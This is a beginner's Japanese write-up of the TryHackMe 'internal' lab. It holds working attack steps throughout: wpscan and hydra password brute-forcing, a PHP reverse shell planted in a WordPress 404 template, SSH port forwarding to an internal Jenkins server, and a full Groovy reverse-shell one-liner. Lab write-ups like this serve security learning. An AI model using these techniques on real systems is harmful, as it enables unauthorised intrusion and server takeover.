はじめに
本記事はTryHackMeのWriteupです。
Roomはinternal、Difficulty(難易度)はHardです。
このRoomでは、私が学んできた事を幅広く必要とした為,自身の復習も兼ねて初めてのWriteupを記述したいと思います
!注意!
私は当分野の初心者であり,THM歴も半月未満です。
故に初心者目線でのWirteupになります。
また私としては納得行かない部分があり,そこへのアドバイスも大歓迎です
1.ホストファイルの変更
Roomの説明文通り,internal.thmをhostsファイルに追加します。
$ sudo nano /etc/hosts
10.10.89.175 internal.thm #追加
2.nmapでポートスキャンを実施
何はともあれ開いてるポートを調べます
$ nmap -sV -Pn -A -v internal.thm
(抜粋)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It work
22:SSHポート
80:httpポートが空いてます。
思わずApache2.4.29というVerを調べてしまいますが我慢です。
80番ポートが開いてるのでhttp://10.10.89.175にアクセスしてみます。
ですがApache2 Ubuntu Default Pageが表示されるだけです。
3.dirbでディレクトリ検索
何はともあれアクセスできそうなディレクトリも調べておきましょう。
$ dirb http://10.10.89.175 /usr/share/dirb/wordlists/small.txt -r
(抜粋)
==> DIRECTORY: http://10.10.89.175/blog/
==> DIRECTORY: http://10.10.89.175/javascript/
==> DIRECTORY: http://10.10.89.175/phpmyadmin/
==> DIRECTORY: http://10.10.89.175/wordpress/
/blog
Wordpressで作成されたHPが出てきました。
左下にはLog inリンクもありますね。いつかは侵入しましょう
/javascript
開きませんね。
/phpmyadmin
phpmyadminのログイン画面です。いつかは侵入しましょう
/wordpress
oops!という名前のふざけたHPが開きます。ほっときましょう
4.WPScanを使って色々調べる
いろんなVerを調べて脆弱性を検索したくなりますが,まずはやれる事をします。
WPScanを使って登録アカウントを調べてみます
$ wpscan --url http://internal.thm/blog/ --enumerate u
アカウント名としてadminが見つかりました。期待できますね
続いてパスワードを探索します
$ wpscan --url http://internal.thm/blog/ -U admin -P /usr/share/wordlists/rockyou.txt --password-attack wp-login -t 4
(抜粋)
[+] Performing password attack on Wp Login against 1 user/s
[SUCCESS] - admin / *******
パスワードも確認できました!やった!
5.WordPressにリバースシェルを設置する
先程ゲットしたアカウントでWordPressにログインしましょう。
(3.で探索した/blogにログインページのリンクがありましたね)
adminという名の通り管理者権限がついているので何でもできそうです。
今回は404.phpを編集してphpリバースシェルを仕込みましょう。
参考にしたサイトはこちら
(外観)⇒(テーマエディター) ⇒(404テンプレート)を選びます。
エディタ上にPHPリバースシェルのコードを貼り付けて「ファイルの更新」を押しましょう。
人によって違うと思いますがコードは以下からコピー!
$ cat /usr/share/webshells/php/php-reverse-shell.php
#下記のipとportは自身のIPと好きなポートにしましょう
$ip = '**.**.**.**'; // CHANGE THIS
$port = 4545; // CHANGE THIS
例によってncコマンドで待受けます
$ nc -lnvp 4545
では,先程のリバースシェルを起動しましょう。
参考サイトによると以下のURLで起動できるみたいです。
http://10.10.89.175/blog/wp-content/themes/(themename)/404.php
今回の(themename)=twentyseventeenです。
ブラウザにURLを入力してアクセスするとkrkrします
http://10.10.89.175/blog/wp-content/themes/twentyseventeen/404.php
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
シェルが取れました!安定Bashシェルも起動しておきましょう。
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@internal:/$
6.おきまりのフォルダを探索?
www-dataユーザーから取れたらどうやらおきまりで
以下のディレクトリを見に行きます。
(WordPress関連のディレクトリに他の情報がないかを見にいくんだと思います)
www-data@internal:/$ cd var/www/html
www-data@internal:/var/www/html$ ls
index.html wordpress
www-data@internal:/var/www/html$ cd wordpress
www-data@internal:/var/www/html/wordpress$ ls -la
(抜粋)
-rw-r--r-- 1 root root 3109 Aug 3 2020 wp-config.php
wp-config.phpは色々な設定情報の記載が期待できるそうです。
www-data@internal:/var/www/html/wordpress$ cat wp-config.php
(抜粋)
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** MySQL database username */
define( 'DB_USER', 'wordpress' );
/** MySQL database password */
define( 'DB_PASSWORD', '************' );
MySQLDBのユーザー名とパスワードが出てきました。
3.の/phpmyadminにログインできそうかも?
7.phpmyadminにログイン(意味なし)
先程のユーザー名とパスワードで見事ログインができました!
・・・が大した収穫はありません。
8.納得のいかない調査
ここは他の人のwriteupm見ても「ん?ん〜・・・」ってなってます。
一応linpeas使ったりもしましたがイマイチでどうやら以下のフォルダが怪しいらしいです
www-data@internal://opt$ ls -la
ls -la
total 16
drwxr-xr-x 3 root root 4096 Aug 3 2020 .
drwxr-xr-x 24 root root 4096 Aug 3 2020 ..
drwx--x--x 4 root root 4096 Aug 3 2020 containerd
-rw-r--r-- 1 root root 138 Aug 3 2020 wp-save.txt
これはわからないですよね・・・
一応この/optはこちらの説明を見ましたが・・・
ファイルが残っている事が不自然なディレクトリなのかな・・・?
よくわからないです
中身はこんな感じ
www-data@internal://opt$ cat wp-save.txt
Bill,
Aubreanna needed these credentials for something later. Let her know you have them and where they are.
aubreanna:************
ホームディレクトリにもいたユーザー名のパスが発覚しました!↓
www-data@internal:/home$ ls -la
ls -la
total 12
drwxr-xr-x 3 root root 4096 Aug 3 2020 .
drwxr-xr-x 24 root root 4096 Aug 3 2020 ..
drwx------ 7 aubreanna aubreanna 4096 Aug 3 2020 aubreanna
9.SSH接続を試す
8.で入手したアカウントとパスでSSH接続を試みます
$ ssh aubreanna@10.10.89.175
(省略)
aubreanna@internal:~$
やった!aubreannaさんになりました!
aubreanna@internal:~$ ls
jenkins.txt snap user.txt
userフラグゲット!
次にjenkins.txtも見てみましょう
aubreanna@internal:~$ cat jenkins.txt
Internal Jenkins service is running on 172.17.0.2:8080
内部にて上記のアドレスでジェンキンスサーバーが稼働しているようです。
ここで部屋名のinternalの意味がわかりましたね!(たぶん)
10.ローカルポートフォワーディングで接続する
先程のジェンキンスサーバーへの接続がこの部屋の肝になると思います。
どうやら127.17.0.0という同じネットワークにいそうです↓
aubreanna@internal:~$ ifconfig
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
(正直このあたりはピンときていません・・・)
ローカルポートフォワーディングを使ってジェンキンスサーバーにアクセスできるようにします。
ローカルポートフォワーディングの説明はこちらを参考にしました
$ ssh -L 4444:172.17.0.2:8080 aubreanna@10.10.89.175
アクセス先は以下になります。
http://localhost:4444/
11.ジェンキンスサーバーを攻略する
ジェンキンスはどうやらadminアカウントのデフォルト設定が広く知られているようです
ユーザー名:admin
パスはわからないのでhydraで攻略します
$ hydra -l admin -P cheet.txt 127.0.0.1 http-post-form '/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:F=Invalid username or password'
(数時間かかるので私はカンニングしました・・・)
admin権限でジェンキンスサーバーにログインできました。
admin権限を持った状態でのジェンキンスサーバーでの脆弱性を色々調べてみます
Grovyスクリプトを使ってシェルが取れるみたいです!参考サイト
(Jenkinsの管理)⇒(スクリプトコンソール)
下記を入力
String host="**.**.**.**";
int port=5555;
String cmd="bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
ncコマンドで待受しておくとシェルがとれました!
$ nc -lnvp 5555
listening on [any] 5555 ...
python -c 'import pty;pty.spawn("/bin/bash")'
jenkins@jenkins:/$
また/opt配下らしい・・・
jenkins@jenkins:/opt$ ls
ls
note.txt
note.txtを調べてみます
jenkins@jenkins:/opt$ cat note.txt
Aubreanna,
Will wanted these credentials secured behind the Jenkins container since we have several layers of defense here. Use them if you
need access to the root user account.
root:*******************
あとはrootアカウントでSSH接続
$ ssh root@10.10.89.175
root@internal:~# ls
root.txt snap
一旦おしまいです!